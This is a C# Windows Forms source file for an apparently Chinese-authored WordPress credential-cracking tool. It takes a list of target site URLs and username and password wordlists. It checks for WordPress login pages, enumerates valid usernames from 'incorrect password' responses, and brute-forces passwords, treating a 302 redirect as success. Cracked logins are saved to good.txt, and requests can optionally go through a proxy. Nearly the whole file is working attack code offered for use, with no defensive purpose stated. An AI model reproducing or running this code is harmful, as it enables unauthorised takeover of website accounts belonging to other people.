﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Collections;
using System.Threading;

namespace wpb
{
    public partial class Form1 : Form
    {
        #region
        //设置全局变量
        int intGood = 0;

        /// <summary>
        /// 将使用过的URL写内容到文本used.txt
        /// </summary>
        /// <param name="value">写入一行的数据，使用过的URL链接</param>
        public void writeFile(string value)
        {
            lock (this)
            {
                string strNewUrlPath = "usedbad.txt";
                FileStream fsapp = new FileStream(strNewUrlPath, FileMode.Append, FileAccess.Write);
                StreamWriter fs = new StreamWriter(fsapp);
                fs.WriteLine(value);
                fs.Flush();
                fs.Close();

                Monitor.Pulse(this);
            }
        }

        /// <summary>
        /// 将找到的正确的URL与用户名及密码写到文本good.txt
        /// </summary>
        /// <param name="value">写入一行的数据</param>
        public void writeGoodToFile(string value)
        {
            lock (this)
            {
                string strNewUrlPath = "good.txt";
                FileStream fsapp = new FileStream(strNewUrlPath, FileMode.Append, FileAccess.Write);
                StreamWriter fs = new StreamWriter(fsapp);
                fs.WriteLine(value);
                fs.Flush();
                fs.Close();

                Monitor.Pulse(this);
            }
        }

        /// <summary>
        /// 将找到的正确的URL与用户名写到文本LogURL.txt
        /// </summary>
        /// <param name="value">写入一行的数据</param>
        public void writeLogToFile(string value)
        {
            lock (this)
            {
                string strNewUrlPath = "LogURL.txt";
                FileStream fsapp = new FileStream(strNewUrlPath, FileMode.Append, FileAccess.Write);
                StreamWriter fs = new StreamWriter(fsapp);
                fs.WriteLine(value);
                fs.Flush();
                fs.Close();

                Monitor.Pulse(this);
            }
        }

        /// <summary>
        /// 根据域名生成log及pwd链表
        /// 对host字符串按照.进行分割，取出长度大于4的字符串
        /// 这样子可以自动去掉www、org、cn、com等无效的内容
        /// </summary>
        /// <param name="_strUrl">输入URL地址的字符串</param>
        /// <returns>返回</returns>
        public ArrayList getUrlLogPwdValueList(string _strUrl)
        {
            ArrayList arrValueList = new ArrayList();
            try
            {
                Uri tempUrl = new Uri(_strUrl.Trim());

                string[] sArray = tempUrl.Host.ToLower().Split('.');

                foreach (string temp in sArray)
                {
                    if (temp.Length > 4)
                    {
                        arrValueList.Add(temp);
                        arrValueList.Add(temp.ToUpper());
                    }
                }
            }
            catch
            {
                MessageBox.Show("按网址生成账户密码出错", "Error_info");
            }
            return arrValueList;
        }
        //end根据域名生成log及pwd链表

        /// <summary>
        /// 线程传参类，无代理
        /// </summary>
        public class TaskinfoNoProxy
        {
            public string strUrl;
            public ArrayList arrListUsername;
            public ArrayList arrListPassword;

            public TaskinfoNoProxy(string _strUrl, ArrayList _arrListUsername, ArrayList _arrListPassword)
            {
                strUrl = _strUrl;
                arrListUsername = _arrListUsername;
                arrListPassword = _arrListPassword;
            }
        }

        /// <summary>
        /// 线程传参类，有代理
        /// </summary>
        public class TaskinfoProxy
        {
            public string strUrl;
            public ArrayList arrListUsername;
            public ArrayList arrListPassword;
            public string strProxyIp;
            public int intProxyPort;

            public TaskinfoProxy(string _strUrl, ArrayList _arrListUsername, ArrayList _arrListPassword, string _strProxyIp, int _intProxyPort)
            {
                strUrl = _strUrl;
                arrListUsername = _arrListUsername;
                arrListPassword = _arrListPassword;
                strProxyIp = _strProxyIp;
                intProxyPort = _intProxyPort;
            }
        }        


        //定义调用的函数

        /// <summary>
        /// 按行读取文件，这种操作比读取整个文件快，
        /// 见http://topic.csdn.net/t/20060614/15/4821206.html
        /// </summary>
        /// <param name="strFileName">读取文件的文件名</param>
        /// <returns>返回一个ArrayList类型的值，按行读取的内容</returns>
        private ArrayList readFile(string strFileName)
        {
            ArrayList arrListLine = new ArrayList();
            //FileStream fs = new FileStream(strFileName, FileMode.Open, FileAccess.Read);
            StreamReader sr = new StreamReader(strFileName);
            string strTempLine = sr.ReadLine();
            arrListLine.Add(strTempLine);
            while (strTempLine != null)
            {
                strTempLine = sr.ReadLine();
                arrListLine.Add(strTempLine);
            }
            //fs.Close();
            sr.Close();
            arrListLine.RemoveAt(arrListLine.Count - 1);
            return arrListLine;
        }

        /// <summary>
        /// 检测页面是否是登录页面,无代理
        /// </summary>
        /// <param name="strWpUrl"></param>
        /// <returns></returns>
        private bool isWpLoginNoProxy(string strWpUrl)
        {
            bool isWP = false;
            try
            {
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strWpUrl);
                req.Method = "GET";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                HttpWebResponse wr = (HttpWebResponse)req.GetResponse();
                Stream stream = wr.GetResponseStream();
                StreamReader streamReader = new StreamReader(stream, System.Text.Encoding.GetEncoding("utf-8"));
                string strFeedback = streamReader.ReadToEnd().ToLower();
                stream.Close();
                wr.Close();
                if (strFeedback.Contains("lost your password") || strFeedback.Contains("wordpress") || strFeedback.Contains("wp-admin"))
                {
                    isWP = true;
                }
            }
            catch
            {
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strWpUrl);
                req.Method = "GET";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                HttpWebResponse wr = (HttpWebResponse)req.GetResponse();
                Stream stream = wr.GetResponseStream();
                StreamReader streamReader = new StreamReader(stream, System.Text.Encoding.GetEncoding("utf-8"));
                string strFeedback = streamReader.ReadToEnd().ToLower();
                stream.Close();
                wr.Close();
                if (strFeedback.Contains("lost your password") || strFeedback.Contains("wordpress") || strFeedback.Contains("wp-admin") || strFeedback.Contains("pwd") || strFeedback.Contains("log"))
                {
                    isWP = true;
                }
            }
            return isWP;
        }

         
            //无代理---start---
        /// <summary>
        /// 检查用户名是否存在，检测返回页面中是否含有Incorrect password
        /// </summary>
        /// <param name="strUrl">URL地址</param>
        /// <param name="strUsername">用户名</param>
        /// <returns>返回bool类型的值</returns>
        private bool wpbLogNoProxy(string strUrl, string strUsername)
        {
            bool isExist = false;
            try
            {
                string strUrlLogin = "log=" + strUsername + "&pwd=090a!000";
                byte[] byteUrl = Encoding.ASCII.GetBytes(strUrlLogin);
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strUrl);
                req.Method = "POST";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                req.ContentLength = byteUrl.Length;
                Stream reqStream = req.GetRequestStream();
                reqStream.Write(byteUrl, 0, byteUrl.Length);
                WebResponse wr = req.GetResponse();
                Stream stream = wr.GetResponseStream();
                StreamReader streamReader = new StreamReader(stream, System.Text.Encoding.GetEncoding("utf-8"));
                string strFeedback = streamReader.ReadToEnd();
                stream.Close();
                wr.Close();
                if (strFeedback.ToLower().Contains("incorrect"))
                {
                    writeLogToFile(strUsername + "----" + strUrl);
                    isExist = true;
                }
            }
            catch
            {
                string strUrlLogin = "log=" + strUsername + "&pwd=090a!000";
                byte[] byteUrl = Encoding.ASCII.GetBytes(strUrlLogin);
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strUrl);
                req.Method = "POST";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                req.ContentLength = byteUrl.Length;
                Stream reqStream = req.GetRequestStream();
                reqStream.Write(byteUrl, 0, byteUrl.Length);
                WebResponse wr = req.GetResponse();
                Stream stream = wr.GetResponseStream();
                StreamReader streamReader = new StreamReader(stream, System.Text.Encoding.GetEncoding("utf-8"));
                string strFeedback = streamReader.ReadToEnd();
                stream.Close();
                wr.Close();
                if (strFeedback.ToLower().Contains("incorrect"))
                {
                    writeLogToFile(strUsername + "----" + strUrl);
                    isExist = true;
                }
            }
            return isExist;
        }


        /// <summary>
        /// 检查用户名和password是否正确，检查返回的状态码是否为302
        /// </summary>
        /// <param name="strUrl">URL地址</param>
        /// <param name="strUsername">用户名</param>
        /// <param name="strPassword">密码</param>
        /// <returns>返回bool类型的值</returns>
        private bool wpbLogPwdNoProxy(string strUrl, string strUsername, string strPassword)
        {
            bool isExist = false;

            try
            {
                string strUrlLogin = "log=" + strUsername + "&pwd=" + strPassword;
                byte[] byteUrl = Encoding.ASCII.GetBytes(strUrlLogin);
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strUrl);
                req.Method = "POST";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                req.ContentLength = byteUrl.Length;
                Stream reqStream = req.GetRequestStream();
                reqStream.Write(byteUrl, 0, byteUrl.Length);
                HttpWebResponse wr = (HttpWebResponse)req.GetResponse();
                if (302 == Convert.ToInt32(wr.StatusCode))
                {
                    writeGoodToFile(strUsername + "----" + strPassword + "----" + strUrl);
                    isExist = true;
                }
                wr.Close();
            }
            catch
            {
                string strUrlLogin = "log=" + strUsername + "&pwd=" + strPassword;
                byte[] byteUrl = Encoding.ASCII.GetBytes(strUrlLogin);
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strUrl);
                req.Method = "POST";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                req.ContentLength = byteUrl.Length;
                Stream reqStream = req.GetRequestStream();
                reqStream.Write(byteUrl, 0, byteUrl.Length);
                HttpWebResponse wr = (HttpWebResponse)req.GetResponse();
                if (302 == Convert.ToInt32(wr.StatusCode))
                {
                    writeGoodToFile(strUsername + "----" + strPassword + "----" + strUrl);
                    isExist = true;
                }
                wr.Close();
            }
            return isExist;
        } 

        /// <summary>
        /// 无代理的破解主函数
        /// </summary>
        /// <param name="CinfoNoProxy">传入一个实例化的传参类对象</param>
        private void wpbNoProxy(object CinfoNoProxy)
        {
            bool isExitLog = false;
            bool isExitPwd = false;
            int intOneGood = 0;
            bool isWPLogin = false;
                        
            TaskinfoNoProxy CTnProxy = (TaskinfoNoProxy)CinfoNoProxy;
            //检查URL的合法性，检查其是否是登录页面
            try
            {
                isWPLogin = isWpLoginNoProxy(CTnProxy.strUrl);
            }
            catch
            {
                isWPLogin = false;
            }
            if (!isWPLogin)
            {
                writeFile(CTnProxy.strUrl); //保存已经使用过用户名都不正确的url
                this.label6.Text = (Convert.ToInt32(this.label6.Text) + 1).ToString();
                return;
            }
            foreach(string itemUsername in CTnProxy.arrListUsername)
            {
                try
                {
                    isExitLog = wpbLogNoProxy(CTnProxy.strUrl, itemUsername);
                }
                catch
                {
                    isExitLog = false;
                }
                if (isExitLog)
                {
                    foreach (string itemPassword in CTnProxy.arrListPassword)
                    {
                        try
                        {
                            isExitPwd = wpbLogPwdNoProxy(CTnProxy.strUrl, itemUsername, itemPassword);
                        }
                        catch
                        {
                            isExitPwd = false;
                        }
                        if(isExitPwd)
                        {
                            //检验成功
                            if(intOneGood > 2)
                            {
                                return;
                            }
                            listView1.Update();
                            listView1.Items.Add(itemUsername, intGood);
                            listView1.Items[intGood].SubItems.Add(itemPassword);
                            listView1.Items[intGood].SubItems.Add(CTnProxy.strUrl);
                            listView1.EndUpdate();
                            intGood++;
                            this.label5.Text = intGood.ToString();
                            intOneGood++;                            
                        }
                    }
                }
            }
            if (intOneGood == 0)
            {
                writeFile(CTnProxy.strUrl); //保存已经使用过用户名都不正确的url
                this.label6.Text = (Convert.ToInt32(this.label6.Text) + 1).ToString();
            }
        }
            //无代理---end---

            //有代理---start---
        /// <summary>
        /// 检测页面是否是登录页面,有代理
        /// </summary>
        /// <param name="strWpUrl">登录的URL</param>
        /// <param name="strProxyIP">代理的IP地址</param>
        /// <param name="intProxyPort">代理的端口</param>
        /// <returns>返回bool类型的值</returns>
        private bool isWpLoginProxy(string strWpUrl, string strProxyIP, int intProxyPort)
        {
            bool isWP = false;
            try
            {
                WebProxy proxy = new WebProxy(strProxyIP, intProxyPort);
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strWpUrl);
                req.Proxy = proxy;
                req.Method = "GET";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                HttpWebResponse wr = (HttpWebResponse)req.GetResponse();
                Stream stream = wr.GetResponseStream();
                StreamReader streamReader = new StreamReader(stream, System.Text.Encoding.GetEncoding("utf-8"));
                string strFeedback = streamReader.ReadToEnd().ToLower();
                stream.Close();
                wr.Close();
                if (strFeedback.Contains("lost your password") || strFeedback.Contains("wordpress") || strFeedback.Contains("wp-admin"))
                {
                    isWP = true;
                }
            }
            catch
            {
                WebProxy proxy = new WebProxy(strProxyIP, intProxyPort);
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strWpUrl);
                req.Proxy = proxy;
                req.Method = "GET";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                HttpWebResponse wr = (HttpWebResponse)req.GetResponse();
                Stream stream = wr.GetResponseStream();
                StreamReader streamReader = new StreamReader(stream, System.Text.Encoding.GetEncoding("utf-8"));
                string strFeedback = streamReader.ReadToEnd().ToLower();
                stream.Close();
                wr.Close();
                if (strFeedback.Contains("lost your password") || strFeedback.Contains("wordpress") || strFeedback.Contains("wp-admin"))
                {
                    isWP = true;
                }
            }
            return isWP;
        }

        /// <summary>
        /// 检查用户名是否存在，检测返回页面中是否含有Incorrect password
        /// </summary>
        /// <param name="strUrl">URL值</param>
        /// <param name="strUsername">用户名</param>
        /// <param name="strProxyIP">代理的IP</param>
        /// <param name="intProxyPort">代理的端口</param>
        /// <returns>返回bool类型的值</returns>
        private bool wpbLogProxy(string strUrl, string strUsername, string strProxyIP, int intProxyPort)
        {
            bool isExist = false;

            try
            {
                string strUrlLogin = "log=" + strUsername + "&pwd=090a!000";
                byte[] byteUrl = Encoding.ASCII.GetBytes(strUrlLogin);
                WebProxy proxy = new WebProxy(strProxyIP, intProxyPort);
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strUrl);
                req.Proxy = proxy;
                req.Method = "POST";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                req.ContentLength = byteUrl.Length;
                Stream reqStream = req.GetRequestStream();
                reqStream.Write(byteUrl, 0, byteUrl.Length);
                WebResponse wr = req.GetResponse();
                Stream stream = wr.GetResponseStream();
                StreamReader streamReader = new StreamReader(stream, System.Text.Encoding.GetEncoding("utf-8"));
                string strFeedback = streamReader.ReadToEnd();
                stream.Close();
                wr.Close();
                if (strFeedback.ToLower().Contains("incorrect"))
                {
                    writeLogToFile(strUsername + "----" + strUrl);
                    isExist = true;
                }
            }
            catch
            {
                string strUrlLogin = "log=" + strUsername + "&pwd=090a!000";
                byte[] byteUrl = Encoding.ASCII.GetBytes(strUrlLogin);
                WebProxy proxy = new WebProxy(strProxyIP, intProxyPort);
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strUrl);
                req.Proxy = proxy;
                req.Method = "POST";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                req.ContentLength = byteUrl.Length;
                Stream reqStream = req.GetRequestStream();
                reqStream.Write(byteUrl, 0, byteUrl.Length);
                WebResponse wr = req.GetResponse();
                Stream stream = wr.GetResponseStream();
                StreamReader streamReader = new StreamReader(stream, System.Text.Encoding.GetEncoding("utf-8"));
                string strFeedback = streamReader.ReadToEnd();
                stream.Close();
                wr.Close();
                if (strFeedback.ToLower().Contains("incorrect"))
                {
                    writeLogToFile(strUsername + "----" + strUrl);
                    isExist = true;
                }
            }
            return isExist;
        }

        /// <summary>
        /// 检查用户名和password是否正确，检查返回的状态码是否为302
        /// </summary>
        /// <param name="strUrl">URL值</param>
        /// <param name="strUsername">用户名</param>
        /// <param name="strPassword">密码</param>
        /// <param name="strProxyIP">代理的IP</param>
        /// <param name="intProxyPort">代理的端口</param>
        /// <returns>返回bool类型的值</returns>
        private bool wpbLogPwdProxy(string strUrl, string strUsername, string strPassword, string strProxyIP, int intProxyPort)
        {
            bool isExist = false;

            try
            {
                string strUrlLogin = "log=" + strUsername + "&pwd=" + strPassword;
                byte[] byteUrl = Encoding.ASCII.GetBytes(strUrlLogin);
                WebProxy proxy = new WebProxy(strProxyIP, intProxyPort);
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strUrl);
                req.Proxy = proxy;
                req.Method = "POST";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                req.ContentLength = byteUrl.Length;
                Stream reqStream = req.GetRequestStream();
                reqStream.Write(byteUrl, 0, byteUrl.Length);
                HttpWebResponse wr = (HttpWebResponse)req.GetResponse();
                if (302 == Convert.ToInt32(wr.StatusCode))
                {
                    writeGoodToFile(strUsername + "----" + strPassword + "----" + strUrl);
                    isExist = true;
                }
                wr.Close();
            }
            catch
            {
                string strUrlLogin = "log=" + strUsername + "&pwd=" + strPassword;
                byte[] byteUrl = Encoding.ASCII.GetBytes(strUrlLogin);
                WebProxy proxy = new WebProxy(strProxyIP, intProxyPort);
                HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(strUrl);
                req.Proxy = proxy;
                req.Method = "POST";
                req.Timeout = 20000;
                req.AllowAutoRedirect = false;
                req.ContentType = "application/x-www-form-urlencoded";
                req.ContentLength = byteUrl.Length;
                Stream reqStream = req.GetRequestStream();
                reqStream.Write(byteUrl, 0, byteUrl.Length);
                HttpWebResponse wr = (HttpWebResponse)req.GetResponse();
                if (302 == Convert.ToInt32(wr.StatusCode))
                {
                    writeGoodToFile(strUsername + "----" + strPassword + "----" + strUrl);
                    isExist = true;
                }
                wr.Close();
            }
            return isExist;
        }
        
        /// <summary>
        /// 有代理的破解主函数
        /// </summary>
        /// <param name="CinfoProxy">传入一个实例化的传参类对象</param>
        private void wpbProxy(object CinfoProxy)
        {
            bool isExitLog = false;
            bool isExitPwd = false;
            int intOneGood = 0;
            bool isWPLogin = false;
            TaskinfoProxy CTProxy = (TaskinfoProxy)CinfoProxy;
            //检查URL的合法性，检查其是否是登录页面
            try
            {
                isWPLogin = isWpLoginProxy(CTProxy.strUrl, CTProxy.strProxyIp, CTProxy.intProxyPort);
            }
            catch
            {
                isWPLogin = false;
            }
            if (!isWPLogin)
            {
                writeFile(CTProxy.strUrl); //保存已经使用过用户名都不正确的url
                this.label6.Text = (Convert.ToInt32(this.label6.Text) + 1).ToString();
                return;
            }
            foreach (string itemUsername in CTProxy.arrListUsername)
            {
                try
                {
                    isExitLog = wpbLogProxy(CTProxy.strUrl, itemUsername, CTProxy.strProxyIp, CTProxy.intProxyPort);
                }
                catch
                {
                    isExitLog = false;
                }
                if (isExitLog)
                {
                    foreach (string itemPassword in CTProxy.arrListPassword)
                    {
                        try
                        {
                            isExitPwd = wpbLogPwdProxy(CTProxy.strUrl, itemUsername, itemPassword, CTProxy.strProxyIp, CTProxy.intProxyPort);
                        }
                        catch
                        {
                            isExitPwd = false;
                        }
                        if (isExitPwd)
                        {
                            //检验成功
                            if (intOneGood > 2)
                            {
                                return;
                            }
                            listView1.Update();
                            listView1.Items.Add(itemUsername, intGood);
                            listView1.Items[intGood].SubItems.Add(itemPassword);
                            listView1.Items[intGood].SubItems.Add(CTProxy.strUrl);
                            listView1.EndUpdate();
                            intGood++;
                            this.label5.Text = intGood.ToString();
                            intOneGood++;
                        }
                    }
                }
            }
            if (intOneGood == 0)
            {
                writeFile(CTProxy.strUrl); //保存已经使用过用户名都不正确的url
                this.label6.Text = (Convert.ToInt32(this.label6.Text) + 1).ToString();
            }
        }
            //有代理---end---
        #endregion

        public Form1()
        {
            InitializeComponent();
        }

        //setting按钮
        private void button3_Click(object sender, EventArgs e)
        {
            Form2 f2 = new Form2();
            f2.ShowDialog();
        }

        //start按钮
        private void button1_Click(object sender, EventArgs e)
        {
            intGood = 0;
            this.label5.Text = "0";
            //try
            //{
            ArrayList arrListUsername = new ArrayList(readFile("username"));
            ArrayList arrListPassword = readFile("password");
            ArrayList arrListUrl = readFile("url");
            arrListUrl.Remove("");
            this.label7.Text = arrListUrl.Count.ToString();
            if (Form2.isProxy)
            {
                string strProxyIp = Form2.strIP;
                int intProxyPort = Convert.ToInt32(Form2.strPort);
                foreach (string itemUrl in arrListUrl)
                {
                    #region
                    //给log和pwd添加域名内容
                    ArrayList arrToAdd = getUrlLogPwdValueList(itemUrl);
                    ArrayList temparrListUsername = arrListUsername;
                    ArrayList temparrListPassword = arrListPassword;
                    temparrListUsername.AddRange(arrToAdd);
                    temparrListPassword.AddRange(arrToAdd);
                    #endregion

                    TaskinfoProxy Ctinfo = new TaskinfoProxy(itemUrl, temparrListUsername, temparrListPassword, strProxyIp, intProxyPort);
                    //wpbProxy(Ctinfo);
                    ThreadPool.QueueUserWorkItem(new WaitCallback(wpbProxy), Ctinfo);
                }
            }
            else
            {
                foreach (string itemUrl in arrListUrl)
                {
                    #region
                    //给log和pwd添加域名内容
                    ArrayList arrToAdd = getUrlLogPwdValueList(itemUrl);
                    ArrayList temparrListUsername = arrListUsername;
                    ArrayList temparrListPassword = arrListPassword;
                    temparrListUsername.AddRange(arrToAdd);
                    temparrListPassword.AddRange(arrToAdd);
                    #endregion

                    TaskinfoNoProxy Ctinfo = new TaskinfoNoProxy(itemUrl, temparrListUsername, temparrListPassword);
                    //wpbNoProxy(Ctinfo);

                    ThreadPool.QueueUserWorkItem(new WaitCallback(wpbNoProxy), Ctinfo);
                }
            }
            //}
            //catch (Exception Err)
            //{
            //    MessageBox.Show(Err.Message,"参数设置失败！");
            //}
        }

        //clear按钮
        private void button2_Click(object sender, EventArgs e)
        {
            this.label5.Text = "0";
            this.label6.Text = "0";
            this.label7.Text = "0";
            listView1.Items.Clear();
            intGood = 0;          
        }

        //线程操作界面不会卡死
        private void Form1_Load(object sender, EventArgs e)
        {
            Control.CheckForIllegalCrossThreadCalls = false; //取消线线程安全保护模式！
        }

        //start-listview 控件的操作
        #region
        private void openLinkToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                int selectItemCount = listView1.SelectedIndices.Count;
                if (selectItemCount > 0)
                {
                    //选中某行，浏览器打开,只能打开单行，效果不好
                    
                    for (int i = 0; i < selectItemCount; i++)
                    {
                        System.Diagnostics.Process.Start(listView1.SelectedItems[i].SubItems[2].Text.ToString().Trim());
                    }
                    //System.Diagnostics.Process.Start("explorer.exe",oneUrl);
                }
            }
            catch
            {
                MessageBox.Show("链接打开失败！","Info");
            }
        }

        //获取listview中的line
        private void copyLinkToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                int selectItemCount = listView1.SelectedIndices.Count;
                if (selectItemCount > 0)
                {
                    string strToCopy = "";
                    for (int i = 0; i < selectItemCount; i++)
                    {
                        strToCopy += listView1.SelectedItems[i].SubItems[0].Text.ToString().Trim() + "\t" +
                                     listView1.SelectedItems[i].SubItems[1].Text.ToString().Trim() + "\t" +
                                     listView1.SelectedItems[i].SubItems[2].Text.ToString().Trim() + "\r\n";
                    }
                    Clipboard.SetText(strToCopy.TrimEnd());
                }
            }
            catch
            {
                MessageBox.Show("内容复制失败！","info");
            }
        }

        //获取listview中的link
        private void copyLinkToolStripMenuItem1_Click(object sender, EventArgs e)
        {
            try
            {
                int selectItemCount = listView1.SelectedIndices.Count;
                if (selectItemCount > 0)
                {
                    string strToCopy = "";
                    for (int i = 0; i < selectItemCount; i++)
                    {
                        strToCopy += listView1.SelectedItems[i].SubItems[2].Text.ToString().Trim() + "\r\n";
                    }
                    Clipboard.SetText(strToCopy.TrimEnd());
                }
            }
            catch
            {
                MessageBox.Show("URL复制失败！","info");
            }
        }

        //获取listview中的内容
        private string getListviewContent()
        {
            string listViewContent = "";
            try
            {
                foreach (ListViewItem item in listView1.Items)
                {
                    foreach (ListViewItem.ListViewSubItem sub in item.SubItems)
                    {
                        listViewContent += sub.Text.Trim() + "\t";
                    }
                    listViewContent = listViewContent.TrimEnd() + "\r\n";
                }
            }
            catch
            {
                MessageBox.Show("获取全部抓取内容时失败","info");
            }
            return listViewContent;
        }
        private void outputAllToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                string strToWrite = getListviewContent();
                //实例化一个保存文件对话框
                SaveFileDialog sf = new SaveFileDialog();
                //设置保存文件类型
                sf.Filter = "txt文件|*.txt|所有文件|*.*";
                //如果用户没有输入扩展名，自动追加后缀
                sf.AddExtension = true;

                sf.Title = "导出全部抓取内容";
                if (sf.ShowDialog() == DialogResult.OK)
                {
                    //实例化一个文件流--->与写入文件相关联
                    FileStream fs = new FileStream(sf.FileName, FileMode.Create);
                    //实例化一个StreamWriter-->与fs相关联
                    StreamWriter sw = new StreamWriter(fs);
                    //开始写入
                    sw.Write(strToWrite);
                    sw.Flush();
                    sw.Close();
                    fs.Close();
                    MessageBox.Show("导出文件成功！","info");
                }
            }
            catch
            {
                MessageBox.Show("导出文件失败！","info");
            }
        }

        //获取listview中指定列的内容
        private string getListviewListContent(int listNum)
        {
            string listViewListContent = "";
            try
            {
                foreach (ListViewItem item in listView1.Items)
                {
                    listViewListContent += item.SubItems[listNum].Text.Trim() + "\r\n";
                }
            }
            catch
            {
                MessageBox.Show("获取全部抓取URL时失败","info");
            }
            return listViewListContent;
        }
        private void outputLinksToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                string strToWrite = getListviewListContent(2);
                //实例化一个保存文件对话框
                SaveFileDialog sf = new SaveFileDialog();
                //设置保存文件类型
                sf.Filter = "txt文件|*.txt|所有文件|*.*";
                //如果用户没有输入扩展名，自动追加后缀
                sf.AddExtension = true;

                sf.Title = "导出抓取的URL";
                if (sf.ShowDialog() == DialogResult.OK)
                {
                    //实例化一个文件流--->与写入文件相关联
                    FileStream fs = new FileStream(sf.FileName, FileMode.Create);
                    //实例化一个StreamWriter-->与fs相关联
                    StreamWriter sw = new StreamWriter(fs);
                    //开始写入
                    sw.Write(strToWrite);
                    sw.Flush();
                    sw.Close();
                    fs.Close();
                    MessageBox.Show("导出抓取的URL成功！","info");
                }
            }
            catch
            {
                MessageBox.Show("导出抓取的URL失败！","info");
            }
        }

        private void clearLinksToolStripMenuItem_Click(object sender, EventArgs e)
        {
            listView1.Items.Clear();
            intGood = 0;
            this.label5.Text = "0";
        }
        //end-listview 控件的操作
        #endregion
    }
}
